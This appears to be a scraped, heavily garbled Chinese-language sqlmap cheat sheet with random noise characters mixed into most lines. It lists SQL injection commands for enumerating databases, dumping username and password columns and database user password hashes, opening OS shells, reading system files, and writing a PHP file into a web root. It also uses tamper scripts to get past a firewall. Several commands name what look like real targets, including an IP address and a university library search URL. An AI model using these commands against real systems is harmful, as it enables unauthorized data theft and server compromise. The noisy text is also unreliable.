/pentest/database/sqlmap
4 B; R9 h) u: D0 }
5 D& ]& `( x+ u, v% ?( c% yupdate :::::> in the folder after execute following order : svn update
% f, J% s7 O: {. R v4 m. h( ]7 i" d8 H% n. ] A) S
sqlmap.py -r 1.txt --current-db
3 l7 a1 G8 m, e0 m
( O. K: u- ^) U/ {8 Q% [* i9 Nv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
/ ?8 v$ q" u5 Q+ ~
4 \! L- d% b8 F==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
( ?; k( ^; H1 C1 o6 r, a猜解数据库
6 K; m$ @6 @- m5 S- N+ l( K0 q./sqlmap.py -u "injection-url" --dbs/ ^! A4 J2 g J' A6 g8 @& o
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
# G# [5 @/ [" B( {0 g- i% d* o- P Z$ [: j3 {3 k1 S; v
猜解表名( i5 V2 s" y$ \) v: d
./sqlmap.py -u "injection-url" -D database_name --tables& f/ V# U- u; R2 L |
! s* X4 q a H% d5 ?sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
: }, T v" s8 F6 b; wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" ' f, p! L+ B( {) W
0 P# a9 Q0 |6 A" n' [6 Y6 O* Csqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
. [* k1 f( _% B/ ^7 D% K! [( c+ o
: @# }4 f( Q, csqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
- T0 H% t a2 i w: usqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"6 a. g3 Q! @6 P4 `# t5 a
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 8 I- h2 n. n1 S2 |! W, v3 b0 T
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"! Q/ u: n) V% `4 {" n, ~- t6 Z
0 |5 M* f; H+ z8 n( o1 C
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"* U' b4 `" D( }, {5 p- ?
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"/ P0 M# F) b& b* t" b7 b6 {
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"4 I, s7 i) P( t9 R5 s
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
2 G) K( n9 }5 d/ z- f& h& csqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump4 H% E& Z# w6 B3 }
9 t4 V: R; x" m& I5 w" S, s
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
" c4 ]/ Z! Y8 N1 h( Rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
# u/ j9 w6 t! G2 q2 v
1 Q! E8 W/ z( w7 f, Esqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
, i9 @! f2 j) s+ [猜解列名
! ?8 b& l1 T, o5 k" k3 R& S/ J& u8 c./sqlmap.py -u "injection-url" -D database_name -T table_name --columns5 `7 Z8 k( @, h+ _. D7 X, Y1 Z
) j0 `) u: t" hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" ) K6 x( p) P; v! X& y. z* y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
6 Z* v$ V5 K+ O- c- ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
: h- F) Z% h9 v0 K" v+ e% m) s4 b" c- [9 I
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
: T" c+ [2 g6 T2 i&submit=Go
) {6 v6 k* t$ c- e猜解值
4 z5 }1 J. N% v./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump4 j* F* g0 a) }8 H; P
========================================================
( A$ z% {/ o0 V搜索表名中包括mana字符的
, I" J, @ ]9 ]( |! q S/ P/sqlmap.py -u "injection-url" -T mana --search4 A1 z! A" z2 O; |" M2 q) {
返回一个交互式sql shell+ M" r2 W( \) R$ a7 ^$ \
/sqlmap.py -u "injection-url" --sql-shell9 V5 f: G- u$ O& ~& x
读取指定文件(需权限)" l. {* J+ h! _
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"/ h- s; g# g: i& Z! e
查看当前 用户 及 数据库
) B) L# R3 J5 f, x$ i7 ]+ C- }/sqlmap.py -u "injection-url" --current-user --current-db
1 I- [% U1 V: L# G3 G- `本地文件 写入 远程目标绝对路径% Y4 ]# c8 J/ V( z, i8 ^
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
B( U) V, Q& x+ s: P4 P0 q& psqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 5 X6 o( _6 T8 ^! x
w! C* M$ d8 T% w7 W usqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
! H$ t' W% Y& k! ]; L9 Z1 I6 H4 }查看某用的权限
4 T( K+ Q8 G$ {; M, P8 x/sqlmap.py -u "injection-url" --privileges -U root) K9 q/ c+ D& a
查看当前用户是否为dba( f; a& I% ~8 @& M8 b
/sqlmap.py -u "injection-url" --is-dba5 o8 M. {/ e4 J6 ~
读取所有数据库用户或指定数据库用户的密码
: H( x) ]5 s6 P( o! Bsqlmap.py -r 1.txt --users --passwords
# v* [4 C! d1 k) ^5 Esqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 7 C0 m V: q/ D& _5 u
+ d/ ~3 f6 H+ j. I% t! F7 [0 @9 P& v1 w
/sqlmap.py -u "injection-url" --passwords -U root
& P5 U3 g# d" ?$ ]" e; F2 t$ a
2 N- A' C( S. L: |% M! y3 a3 a--start&&--stop 与 --first&&--last 的区别
9 I3 n/ U0 c1 k! r6 q/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
1 n% _( P; _. M9 Z; Z: r0 R$ N* n% \. c, u1 b
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
% a, Q3 g8 f+ A% z- @ A/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
# j0 T: E9 l# L1 z/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
2 R) \! S+ \5 G+ w& \- v3 s
$ o2 L. {4 J8 u G执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
! N R3 @3 f0 A( ^' X) e' K/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
7 O4 i6 Q( e9 ]3 t5 r6 t6 y4 J7 I3 V/ m' l3 m9 j
|